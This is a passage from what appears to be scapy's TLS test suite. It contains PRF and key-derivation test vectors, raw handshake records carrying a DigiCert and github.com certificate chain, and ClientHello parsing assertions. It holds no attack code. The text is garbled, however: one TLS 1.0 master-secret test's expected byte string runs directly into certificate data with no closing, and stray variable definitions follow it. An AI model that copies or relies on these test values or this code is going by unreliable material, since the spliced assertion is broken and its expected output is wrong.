b"\x8c\x83!h\x1b\xf2\x96f\x04\x15\x80H\x88\xcb\x80\x03\xc0\xfc\x05\xe5q\x93]\xeb\t\xd4B\xbc\xa4{\xb9\xd8\xb6IF\xc2\x80\x87\x9e2*\x82\x0ef\xc8\xbbBi\xb15\x90\xd6MW\xebM\xd7\xf9u\xd5+\xa8\x81\x11'\x8c\x88]b\r,\xde\xd9d[t\t\x199\x0b" t5 = _ssl_PRF(b'\x0c'*20, b"Test With Truncation", 80) == b"\x85\xf5\xe8\xd2\xddW$\x14\xde\x84\x08@\xca\x86\x8bZn\x07\x87AKg\x18\xc3\x1a'\xc2\xb9\xdd\x17\xb5K1\xb9\x9a=\xe4\x1f/\xfe\xa6\x96\x10\x0c\x15@:z\xbf\x1dM\xa3\x90\x01\xb67\x07Z\xe0\xfe}U=\x81\xb2~\xc6\x1a\xcb\xe7\x9b\x90+\xa0\x86\xb2\x8b\xae\xc7\x9f" t6 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key - Hash Key First", 80) == b'\x99\x11\x92\x8dw\xf1\xab\xdfr\x96S\xf5\xc1\x96\xc0\x16W*=\xa49\xd0\xf0\xf15\x91le\xda\x16\xfe8\x834kC3\x1b\xdf\xfc\xd8\x82\xe1\x9c\xfe9(4\xf9\x9c\x12\xc5~\xd1\xdc\xf3\xe5\x91\xbd\xbb\xb5$\x1c\xe4fs\xf2\xedM\xb7pO\x17\xdf\x01K\xf8\xed2-' t7 = _ssl_PRF(b'\xaa'*80, b"Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data", 80) == b"\x8esl|C\x81\x80vv\xe1\x89H\xc9'oC\x1b\xbe\xc3\xbbE\x04)\xed\x1c\x84\xa9)\x08\xf5\xeb-\x93\xe9\x0f}\xeb[\xc4w\xd53y$\x07\xdc\x0f\\\xfc\xb2\x05r+\x13\xd8\xc3\xe7Lsz\xa1\x03\x93\xdd-\xf9l\xb7\xe6\xb3\x7fM\xfa\x90\xadeo\xcer*" t1 and t2 and t3 and t4 and t5 and t6 and t7 = Crypto - _tls12_*_PRF behavior, using SHA-256, SHA-384 and SHA-512 # https://www.ietf.org/mail-archive/web/tls/current/msg03416.html from scapy.layers.tls.crypto.prf import PRF class _prf_tls12_sha256_test: h= "SHA256" k= b"\x9b\xbe\x43\x6b\xa9\x40\xf0\x17\xb1\x76\x52\x84\x9a\x71\xdb\x35" s= b"\xa0\xba\x9f\x93\x6c\xda\x31\x18\x27\xa6\xf7\x96\xff\xd5\x19\x8c" o=(b"\xe3\xf2\x29\xba\x72\x7b\xe1\x7b\x8d\x12\x26\x20\x55\x7c\xd4\x53" + b"\xc2\xaa\xb2\x1d\x07\xc3\xd4\x95\x32\x9b\x52\xd4\xe6\x1e\xdb\x5a") class _prf_tls12_sha384_test: h= "SHA384" k= b"\xb8\x0b\x73\x3d\x6c\xee\xfc\xdc\x71\x56\x6e\xa4\x8e\x55\x67\xdf" s= b"\xcd\x66\x5c\xf6\xa8\x44\x7d\xd6\xff\x8b\x27\x55\x5e\xdb\x74\x65" o=(b"\x7b\x0c\x18\xe9\xce\xd4\x10\xed\x18\x04\xf2\xcf\xa3\x4a\x33\x6a" + b"\x1c\x14\xdf\xfb\x49\x00\xbb\x5f\xd7\x94\x21\x07\xe8\x1c\x83\xcd") class _prf_tls12_sha512_test: h= "SHA512" k= b"\xb0\x32\x35\x23\xc1\x85\x35\x99\x58\x4d\x88\x56\x8b\xbb\x05\xeb" s= b"\xd4\x64\x0e\x12\xe4\xbc\xdb\xfb\x43\x7f\x03\xe6\xae\x41\x8e\xe5" o=(b"\x12\x61\xf5\x88\xc7\x98\xc5\xc2\x01\xff\x03\x6e\x7a\x9c\xb5\xed" + b"\xcd\x7f\xe3\xf9\x4c\x66\x9a\x12\x2a\x46\x38\xd7\xd5\x08\xb2\x83") def _all_prf_tls12_tests(): res = True for t in [ _prf_tls12_sha256_test, _prf_tls12_sha384_test, _prf_tls12_sha512_test ]: p = PRF(tls_version=0x303, hash_name=t.h) tmp = p.prf(t.k, b"test label", t.s, 32) == t.o res = res and tmp return res _all_prf_tls12_tests() = Crypto - compute_master_secret() in SSL mode f = PRF(tls_version=0x300) t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5' t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|' t3 = f.compute_master_secret(b"C"*48, b"A"*32, b"B"*32) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7' t4 = f.compute_master_secret(b"D"*48, b"B"*32, b"A"*32) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d' t1 and t2 and t3 and t4 = Crypto - derive_key_block() in SSL mode t1 = f.derive_key_block(b"A"*48, b"B"*32, b"C"*32, 72) == b'\xe8\xb5O68e\x8c\x1e\xd0hD!\xc1Zk\x9e\xc7x3\xfc".\xf9\x17\xd5B\xfc\xef\x8d\xed\x9fP\xcer\x83|6\x02\xe0\x86\xda\xab-G\x8c\xa9H5\xdf\x14\xa9\xcfV\r\xea}\x98\x04\x8dK,\xb6\xf7;\xaa\xa8\xa5\xad\x7f\x0fCY' t2 = f.derive_key_block(b"A"*48, b"C"*32, b"B"*32, 72) == b'Ts/q\x83\x88\x10\x9c1Y\xff\xf3vo\xe3\x8aM\x9b\xa3k[J\xeeWXs\xcfTe\x19\xc6\xb1\x0ebj1}\x0c\xca\x97=|\x88W\xd8q\xfb|\x17\x99\nH;\xec\xd2\x15\xabd\xed\xc3\xe0p\xd8\x1eS\xb5\xf4*8\xceE^' t3 = f.derive_key_block(b"C"*48, b"A"*32, b"B"*32, 72) == b'Q\xde\x06L\xdb\xe9\x9dC\x19\x8a:m@\xce\xbf\xc0\n\xd8\xd4H!#\x06\xad\x929\x85\xc9@\x1f\xb5\xe2)^{c\x94\x06&\xad\xb56\x13^\xd6\xa5\x19\xe7\xed\xd6\x92\xe0O\x0e\xbf\xc6\x97\x9f~\x95\xcf\xb0\xe7a\x1d\xbc]\xf4&Z\x81J' t4 = f.derive_key_block(b"D"*48, b"B"*32, b"A"*32, 72) == b'\xbe\x9a\xc8)\xb5{.H1\x8382\xc2\xdff\xdf@\xda\xde\x88\xe1\xf3\xad9\xcc\x14\xb1\x7f\x90\x00;B)\x8c\xdb\xdbH\xfe=%^\xe9\x83\x0eV\x86\x83\x8d\xeal\x8ea\x08\x9d\xb3\xf3\xf4\xa6[\'j\xda\rT"\x10\xa5Z\n\xc0r\xf3' t1 and t2 and t3 and t4 = Crypto - compute_master_secret() in TLS 1.0 mode from scapy.layers.tls.crypto.prf import PRF f = PRF(tls_version=0x301) t1 = f.compute_master_secret(b"A"*48, b"B"*32, b"C"*32) == b"k\\[e\x11\xab\xfe6\trN\x9e\x8d\xb09{\x17\x8d\x9f\xc6_' G\x05\x08}\xf7Q\x8e\xcb\xff\x00\xfc7\xd0\xf0z\xea\x8b\x98%\x90\x89sd\x98\xa1" t2 = f.compute_master_secret(b"A"*48, b"C"*32, b"B"*32) == b'k\xd2\xf7\x1aqt\xa4~\x9bqf\x0f:\xc4%\x9a\x07\x17\x14\xf4\xdf&)*\x1c\x9c8\x8em\xe1\x13\x17\xa7\xd2\x051Qd0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x1e\x17\r160120000000Z\x17\r170406120000Z0j1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x13\nCalifornia1\x160\x14\x06\x03U\x04\x07\x13\rSan Francisco1\x150\x13\x06\x03U\x04\n\x13\x0cFastly, Inc.1\x170\x15\x06\x03U\x04\x03\x13\x0ewww.github.com0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xfb\xd5\x94\n\n\xe0P\xdc\x0f\xfc\x90\xb7qG\x9f,\x05\xde\x0e\x9a\xbc*\x8f\xd4\xf2\x9f\x08F\xf9\xf2\xd1\x18\xb4#\xa5*\xd2\xdf\x91?\xf9\xc5\xd0\xb2@\xbd\xd6\xbc@v.\x8d\xd8\x1e\r7\x8fz\x90W\xef\xe3\xa2\xc0\x11a\x03F\x0e\xfa\xb37\x0bf|!\x16\x8d\xfe/^.Y\xfec\':\xf3\xeds\xf8Mt\xb3Q\x17u\x9a\xed\x0ck\xcd\xe8\xc1\xea\xca\x01\xacu\xf9\x17)\xf0KP\x9dAdHl\xf6\xc0g}\xc8\xea\xdeHy\x81\x97A\x02\xb7F\xf6^M\xa5\xd9\x90\x86\xd7\x1ehQ\xac>%\xae\'\x11\xb1G4\xb8\x8b\xdeoyA\xd6\x92\x13)\x11\x80\xc4\x10\x17\\\x0clj\x02\xbb\xd0\n\xfc\xd2\x96x\x1d\xb6\xd4\x02\x7f\x1f\x0eR@Sop@\xda\x89)O\x0c\t~\xa3\xec\xc5W\xad\x03\xaa\x91\xedC\\\xf9\xf5[\xe8\xa1\xf0\xbem\x1b\xce-\xabC|p\xdc?\xec\xc9\x11\xf0t\xc9)\xa1P\xd0<)8\xdc\x7fV\xb9\xf8\x1f\x04\xa4^\x9f\xce\xdd\x17\x02\x03\x01\x00\x01\xa3\x82\x02I0\x82\x02E0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14d\xbfD\xb3F\t\x9b\xcfZ\x1dqI\xa2\x04r\x8b\x884\x84#0{\x06\x03U\x1d\x11\x04t0r\x82\x0ewww.github.com\x82\x0c*.github.com\x82\ngithub.com\x82\x0b*.github.io\x82\tgithub.io\x82\x17*.githubusercontent.com\x82\x15githubusercontent.com0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa00\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x020u\x06\x03U\x1d\x1f\x04n0l04\xa02\xa00\x86.http://crl3.digicert.com/sha2-ha-server-g5.crl04\xa02\xa00\x86.http://crl4.digicert.com/sha2-ha-server-g5.crl0L\x06\x03U\x1d \x04E0C07\x06\t`\x86H\x01\x86\xfdl\x01\x010*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x08\x06\x06g\x81\x0c\x01\x02\x020\x81\x83\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04w0u0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0M\x06\x08+\x06\x01\x05\x05\x070\x02\x86Ahttp://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0\x0c\x06\x03U\x1d\x13\x01\x01\xff\x04\x020\x000\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00O\x16\xd1t\xf8>\xa3\x8f~\xf7\xaf\xcf\xfa\xb6\xdd\xa7\x88\x9e\xf8!\xad|(\x14\xb9\xb4\xffg\xd0\xb9\xe2O\x81}\x03\xb4\x9d\xbcU\x80$\x8c\xe5fP\xb8\xb8(\xd9\x0f\xb4\x95\xccb\xb2\x87|\xcf\x16^SH\xf9\xc2\xf8\x90 \xdc\x0e\x96\x7f\xe27\xcfA\xc7uf\r\x1c\xa7M\xee\x02\xaa\x1b\x00\xc0\xea\x0e\xd4Df\x08\t\xac\x00\x90pc\xfa\xcd\xaf\x89\x8a\xdbj|z\xb0k\xa8\xc5\xb4\x9d\x85\xd8S\x93E\xcar>\xa4\xd4\xe3\xa28J\x0f\x82\x08\xf0\xf3U\xf0m\xb21l\x189\xbf\xee\xe3\xe5\x8f\xcd@\x07\x0b\xd0\xe9e\xda\xd6LA\xff[\xafB\xaf\xf2\xb1F\xa1\xacX\xfc)\x80\xcb\xf6Z\xa6\xaf\xf26\x93\xdf\x92q\xa95\xe3:XP\xab::|\xd9\xf7y\x83\x9e\t\xfe\x0f\x90,Y+\x07$Z<\xb5\xd2\xa0\xdaE\xb8\xe1\xc0\x03\x07\x00h\xf6L\xfa\xe2v[\xce\x8f\xfe\xd0\xcb%\xf9\x9b\xcb\xa9\xffU\x12\xf3=_En2\xa0$\x8e\xb7\xa5vo\x0b\x87\xe9\x00\x04\xb50\x82\x04\xb10\x82\x03\x99\xa0\x03\x02\x01\x02\x02\x10\x04\xe1\xe7\xa4\xdc\\\xf2\xf3m\xc0+B\xb8]\x15\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000l1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1+0)\x06\x03U\x04\x03\x13"DigiCert High Assurance EV Root CA0\x1e\x17\r131022120000Z\x17\r281022120000Z0p1\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x150\x13\x06\x03U\x04\n\x13\x0cDigiCert Inc1\x190\x17\x06\x03U\x04\x0b\x13\x10www.digicert.com1/0-\x06\x03U\x04\x03\x13&DigiCert SHA2 High Assurance Server CA0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xb6\xe0/\xc2$\x06\xc8m\x04_\xd7\xef\nd\x06\xb2}"&e\x16\xaeB@\x9b\xce\xdc\x9f\x9fv\x07>\xc30U\x87\x19\xb9O\x94\x0eZ\x94\x1fUV\xb4\xc2\x02*\xaf\xd0\x98\xee\x0b@\xd7\xc4\xd0;r\xc8\x14\x9e\xef\x90\xb1\x11\xa9\xae\xd2\xc8\xb8C:\xd9\x0b\x0b\xd5\xd5\x95\xf5@\xaf\xc8\x1d\xedM\x9c_W\xb7\x86Ph\x99\xf5\x8a\xda\xd2\xc7\x05\x1f\xa8\x97\xc9\xdc\xa4\xb1\x82\x84-\xc6\xad\xa5\x9c\xc7\x19\x82\xa6\x85\x0f^DX*7\x8f\xfd5\xf1\x0b\x08\'2Z\xf5\xbb\x8b\x9e\xa4\xbdQ\xd0\'\xe2\xdd;B3\xa3\x05(\xc4\xbb(\xcc\x9a\xac+#\rx\xc6{\xe6^q\xb7J>\x08\xfb\x81\xb7\x16\x16\xa1\x9d#\x12M\xe5\xd7\x92\x08\xacu\xa4\x9c\xba\xcd\x17\xb2\x1eD5e\x7fS%9\xd1\x1c\n\x9ac\x1b\x19\x92th\n7\xc2\xc2RH\xcb9Z\xa2\xb6\xe1]\xc1\xdd\xa0 \xb8!\xa2\x93&o\x14J!A\xc7\xedm\x9b\xf2H/\xf3\x03\xf5\xa2h\x92S/^\xe3\x02\x03\x01\x00\x01\xa3\x82\x01I0\x82\x01E0\x12\x06\x03U\x1d\x13\x01\x01\xff\x04\x080\x06\x01\x01\xff\x02\x01\x000\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x0204\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04(0&0$\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x18http://ocsp.digicert.com0K\x06\x03U\x1d\x1f\x04D0B0@\xa0>\xa0<\x86:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=\x06\x03U\x1d \x0460402\x06\x04U\x1d \x000*0(\x06\x08+\x06\x01\x05\x05\x07\x02\x01\x16\x1chttps://www.digicert.com/CPS0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14\xb1>\xc3i\x03\xf8\xbfG\x01\xd4\x98&\x1a\x08\x02\xefcd+\xc30\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x18\x8a\x95\x89\x03\xe6m\xdf\\\xfc\x1dh\xeaJ\x8f\x83\xd6Q/\x8dkD\x16\x9e\xacc\xf5\xd2nl\x84\x99\x8b\xaa\x81q\x84[\xed4N\xb0\xb7y\x92)\xcc-\x80j\xf0\x8e \xe1y\xa4\xfe\x03G\x13\xea\xf5\x86\xcaYq}\xf4\x04\x96k\xd3YX=\xfe\xd31%\\\x188\x84\xa3\xe6\x9f\x82\xfd\x8c[\x981N\xcdx\x9e\x1a\xfd\x85\xcbI\xaa\xf2\'\x8b\x99r\xfc>\xaa\xd5A\x0b\xda\xd56\xa1\xbf\x1cnGI\x7f^\xd9H|\x03\xd9\xfd\x8bI\xa0\x98&B@\xeb\xd6\x92\x11\xa4d\nWT\xc4\xf5\x1d\xd6\x02^k\xac\xee\xc4\x80\x9a\x12r\xfaV\x93\xd7\xff\xbf0\x85\x060\xbf\x0b\x7fN\xffW\x05\x9d$\xed\x85\xc3+\xfb\xa6u\xa8\xac-\x16\xef}y\'\xb2\xeb\xc2\x9d\x0b\x07\xea\xaa\x85\xd3\x01\xa3 (AYC(\xd2\x81\xe3\xaa\xf6\xec{;w\xb6@b\x80\x05AE\x01\xef\x17\x06>\xde\xc03\x9bg\xd3a.r\x87\xe4i\xfc\x12\x00W@\x1ep\xf5\x1e\xc9\xb4' p4_certstat_ske_shd = b'\x16\x03\x03\x01\xdf\x16\x00\x01\xdb\x01\x00\x01\xd70\x82\x01\xd3\n\x01\x00\xa0\x82\x01\xcc0\x82\x01\xc8\x06\t+\x06\x01\x05\x05\x070\x01\x01\x04\x82\x01\xb90\x82\x01\xb50\x81\x9e\xa2\x16\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x18\x0f20160914121000Z0s0q0I0\t\x06\x05+\x0e\x03\x02\x1a\x05\x00\x04\x14\xcf&\xf5\x18\xfa\xc9~\x8f\x8c\xb3B\xe0\x1c/j\x10\x9e\x8e_\n\x04\x14Qh\xff\x90\xaf\x02\x07u<\xcc\xd9edb\xa2\x12\xb8Yr;\x02\x10\x07z]\xc36#\x01\xf9\x89\xfeT\xf7\xf8o>d\x80\x00\x18\x0f20160914121000Z\xa0\x11\x18\x0f20160921112500Z0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x90\xef\xf9\x15U\x88\xac@l\xf6n\x04C/\x1a\xf5\xbc[Xi\xd9U\xbe\'\xd3\xb7\xf5\xbb\t\xd8\xb1Tw\x9c2\xac\x7f\x88\xba\x98\xe4\xa13\xf4\xdc\xea\xf3\xacX\xe4,E\xf5\xa9\xc3\xf4B-N\xe0\x89D[\xbe\n\xc2h\x9ar\xfd\'.\xc8,\xed\x83\xc2\xf0\x89_\x8c\xc3\xe7\x8a\xad\xa4\x14\x03\x96\x02\xc4\xa8\xc8\x90\x96%X\x80\x95\x02\x9d_\xc82;m\xe9\x15\x00\xa8\x00\xb9\x01\xe3aN&\xe4\xd5\x8a\xc4w7\x0b\xc3~\xc5\xb1M\x10~T\x9e\x1d\xf6\x06\xf8\x12sTg\x14b_\xe7\xc04\xb4\xa3\xd2\x8f\xe6\xa6\xc4\x01q\x03j\xc8\xd4\xc7\x89\xdde\x99\x1a\xd9\x02\xe7\x17\xd1\xf40P\xef\xf6$\xee\xfad\xf4\xeb\xc8\xf7\x0bRL\x8b\xa5x\xe4R2\xe9\xc2\xfcB\nh\x93\xf7\x0ep4h\xeb\x17\x83\xc8\x88!\xc3W\x94WG\xfe3\x15C0qE&A\x99\xa8}\x1a\xda"\xa9O\xba\x90W_W\xado\x1c\xf0`g7\xbb$\x91o\xec\xdd\xbd\x9e\x8bb\xfc\x16\x03\x03\x01M\x0c\x00\x01I\x03\x00\x17A\x04\xc3\x9d\x1cD\xcb\x85?dU\x9eg\xc9\x90\xd8\x80N|F\x98\x0cA\x07\xdfg\xa2\xfb_z\xe4\x9b\xf6\x06\xf3L\x82KJ8\x0e\x1a\x13\x97;:\x12\rdeu\xb5\x9f\x8d\xaa\xfc\x0f\xacb\x0e\xadVX\x19\x03u\x06\x01\x01\x00y\x8aQ\x11\x94\x91\x7f\xf7\xa3#o.\x11\x1d\xb3K\xede~0\xfb\xaf\x92\xfb\xfdY\x98n\x17$\xae\xf6\x16\x14\x13J;\x1cm7\xfa;\xc8G\xa6\x1a}{\xc2\xa5\x1b\xc5\x1c\xb5\x86\x18\x18Z\xa71\x86\x0b-\xa7/q\x89+\xc7$\xbb\xf2 \x17\xc8`\xbbt[j\x9f\x83\x88\xc0\x8d\xcf4fu1\xc3\xea:B\r\xc6\xc9\x12jP\x0c- \x17\x17t\x10\x17)e\xbe\xaao\xe5@\xd2\xcc\xa5\x89mRy\xfapc~\xa6\x84\x80\xbc4\xb4B\xcb\x92\x86\xad\xf6`9j\xf0\x8ee\xc0|\xfd\xdb\xde!\xceH\x0e\x9c\xfb\x85#\x9f\xb7\xccT\x96\xe0 \xfet-\xd8yUs\xe7m\x94\x07\xbc]~\x99\xd3\x93\xfb\\\xfc@B\x14w\xce\xe8n\x14\xd4\xcc\x07\xe5\xb5@j\x17IQ\xcfub\xcf\xa2\xde\xcaU\xb3 \x8b\xdb\x10Y\x0cS\xc7\x0b\xd8BP\xfeX!\x17\x94\x80\xedu\xf8M\xa7r\xc3\x04\xf4\xd6\xb7\x99\xd1=\x922\xf9\x0b\x9f\xe7\x1b\x932`15\xef\x16\x03\x03\x00\x04\x0e\x00\x00\x00' p5_cke_ccs_fin = b"\x16\x03\x03\x00F\x10\x00\x00BA\x04\xd2\x07\xce\xa9v\xd8\x1d\x18\x9bN\xe1\x83U\x8c\x8f\xd5a\x0f\xe5_\x9d\x0f\x8c\x9dT\xf6\xa9\x18'a\x8fHH@\x0c\xd4D\x801\x92\x07\xf3\x95\xa9W\x18\xfc\xb7J\xe6j\xbb\xac\x0f\x86\xae\n+\xd5\xb9\xdc\x86[\xe7\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\x00\x00\x00\x00\x00\x00\x00\x00\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n=" p6_tick_ccs_fin = b"\x16\x03\x03\x00\xca\x04\x00\x00\xc6\x00\x00\x04\xb0\x00\xc0c\xccwJ\x00\xdb,B.\x8fv#\xdd\xa9\xaeS\x90S \xb7(^\x0c\xed\n\xaeM\x0bN\xba\xb4\x8a4d\x85\x88 iN\xc9\xd1\xbe\xac\xe2Wb\xc9N\xf3\x85\xbf\xb7j\xa4IB\x8a\x1b\xe4\x8d\x1f\x148%\xd7R3\x0f4\rh\x8f\xccBj\xb5\r\xfa\xc1f\r?f\xc4\x0f_q9\xe1\x07B\x038\xb4}\xbb\xb0\xfc\x0eG\xf2\t&\x13\x98\xcb\xfc\xf6\xf4\xeb\x99!\t]\xe2\xd9-J\xe4\xdbK\xa1\xe5\xf0\t\xdfX\x0c\xb3\r\xf9\x18\xfb}\xd9\nhW1\xfc\x1c\x08DJ,\xa6#\xb0\x15\x16(&\xfdP\x8a%\xeb\xc2\xdd\xd8\xa2/\xbd$\xc3\x14\xfb\xf3\x86\xa3\xceO\x18\x9f\xfdS|'\x11\x02\xc8\xa6eW\xbdo*y\xf3.\xcf\x04\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00(\xd8m\x92\t5YZ:7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa" p7_data = b"\x17\x03\x03\x01\xf6\x00\x00\x00\x00\x00\x00\x00\x01?\x04iy\x00\x04 \\\xd0\xd4\x9eG\x1f\xbf\xa3k\xfe=\xee\xce\x15\xa0%%\x06c}\xf6\xd4\xfb\xa6\xf0\xf6\x0cO\x1c\x9c\x91\xa9\x0b\x88J\xe0z\x94\xcaT\xeb\xc7\xad\x02j\x10\r\xc6\x12\xb9\xb9\x7f<\x84V\xab\x1e\xfc\xe5\x01\xda\xd6G\xf5\xb7\xf2I6\x8b\xc9\xc4a\xd3\x19\xeat\xfc\x9b\xfa\x1e\xe7\x8c\xaa\xb3\xce\xd0\x86G\x9b\x90\xf7\xde\xb1\x8bwM\x93\xa2gS>\xf3\x97\xf1CB\xfb\x8fs\x1e\xff\x83\xf9\x8b\xc0]\xbd\x80Mn3\xff\xa9\xf3)'\xc3S\xc8\xcd:\xbe\xd72B~$\xb2;\xeb+\xa4\xbd\xa9A\xd9 \n\x87\xe9\xe2\xe9\x82\x83M\x19Q\xf2n\x0e\x15\xdf\xb3;0\xdd&R\xb7\x15\x89\xe9O\xd8G7\x7f\xc3\xb8f\xc7\xd3\xc90R\x83\xf3\xd4\x1cd\xe8\xc5\x8d\xe4N(k7\xf0\xb7\xbd\x01\xb3\x9b\x86\xbaC.\x17\x8d\xd0g\xc9\xb1\x01\xfa\x01\xbe\xdbt\xb1u/\x19V\xc6\x08@\xff\xa8n\xe8\xd0\xd6n,\x05\xc9\xc2\xd8g\x19\x03.l\xb4)\xa09\xf9\xe7\x83\x01-\xe8\xf8\xffy\xbf\xf7\xe6\x11\xc5\xf5\x9aG\xb3e \xd85\x0f\x8f\x85H\xea\xc2n\x1eR\xbe\x01\xef\xef\x93\xe7*>\xbd\x84\x8b9HDI\x90\xc4$\x9a\x9aK\x88Ki\n\xa3\xab\xed\x91\xcd\xe8\xb1\xd4\x8e\xbcE\x88\xe8\x05\x16\xd5\xed\x18\x16g>\x04\xd8\x1dB}\x91\x90\xd1\xda\x03\xe1\x972CxtD\x85\xafF|~7D9*U\xad\x0b\xc4#\x06}\xec\xd6\xd3?y\x96\xa4\xb5\xa3\x1d\x1c\xbd\xc9\xc9g\xb12\xc9\x0f\xa1\x03\x12N\x0b\xec\x14\xc9vJ\nM\xa7\xc8h\xd0|(1(\xa3\x98@nH\n\x0b\xa80\x00\x02\xb7\x06Z\xd4M\xdc!AV\xe2\xa7*\xc3\x90U\xee\xd0\xb2\x05\xa3w\xe1\xe2\xbe\x1e\xbe\xd4u\xb1\xa1z\x1e\x1c\x15%7\xdd\xf9\xb9~\x02\xf9s\x0c1\xfb;\xab\xf1\x1e\xaf\x06\x8c\xafe\x00\x15e5\xac\xd7]>\x1dLb5\x8e+\x01n\xcb\x19\xcc\x17Ey\xc8" = Reading TLS test session - TLS parsing (no encryption) does not throw any error from scapy.layers.tls.record import TLS # We will need to distinguish between connection ends. See next XXX below. t1 = TLS(p1_ch) t2 = TLS(p2_sh, tls_session=t1.tls_session.mirror()) t3 = TLS(p3_cert, tls_session=t2.tls_session) t4 = TLS(p4_certstat_ske_shd, tls_session=t3.tls_session) = Reading TLS test session - TLS Record header # We leave the possibility for some attributes to be either '' or None. assert t1.type == 0x16 assert t1.version == 0x0301 assert t1.len == 213 assert not t1.iv assert not t1.mac assert not t1.pad and not t1.padlen len(t1.msg) == 1 = Reading TLS test session - TLS Record __getitem__ from scapy.layers.tls.handshake import TLSClientHello TLSClientHello in t1 = Reading TLS test session - ClientHello ch = t1.msg[0] assert isinstance(ch, TLSClientHello) assert ch.msgtype == 1 assert ch.msglen == 209 assert ch.version == 0x0303 assert ch.gmt_unix_time == 0x17f24dc3 assert ch.random_bytes == b'|\x19\xdb\xc3<\xb5J\x0b\x8d5\x81\xc5\xce\t 2\x08\xd8\xec\xd1\xf8"B\x9cW\xd0\x16v' assert ch.sidlen == 0 assert not ch.sid assert ch.cipherslen == 22 assert ch.ciphers == [49195, 49199, 49162, 49161, 49171, 49172, 51, 57, 47, 53, 10] assert ch.complen == 1 assert ch.comp == [0] = Reading TLS test session - ClientHello extensions from scapy.layers.tls.extensions import (TLS_Ext_ServerName, TLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups, TLS_Ext_SupportedPointFormat, TLS_Ext_SessionTicket, TLS_Ext_NPN, TLS_Ext_ALPN, TLS_Ext_SignatureAlgorithms, TLS_Ext_CSR, OCSPStatusRequest) assert ch.extlen == 146 ext = ch.ext assert len(ext) == 9 assert isinstance(ext[0], TLS_Ext_ServerName) assert ext[0].type == 0 assert ext[0].len == 31 assert ext[0].servernameslen == 29 assert len(ext[0].servernames) == 1 assert ext[0].servernames[0].nametype == 0 assert ext[0].servernames[0].namelen == 26 assert ext[0].servernames[0].servername == b"camo.githubusercontent.com" assert isinstance(ext[1], TLS_Ext_RenegotiationInfo) assert not ext[1].renegotiated_connection assert isinstance(ext[2], TLS_Ext_SupportedGroups) assert 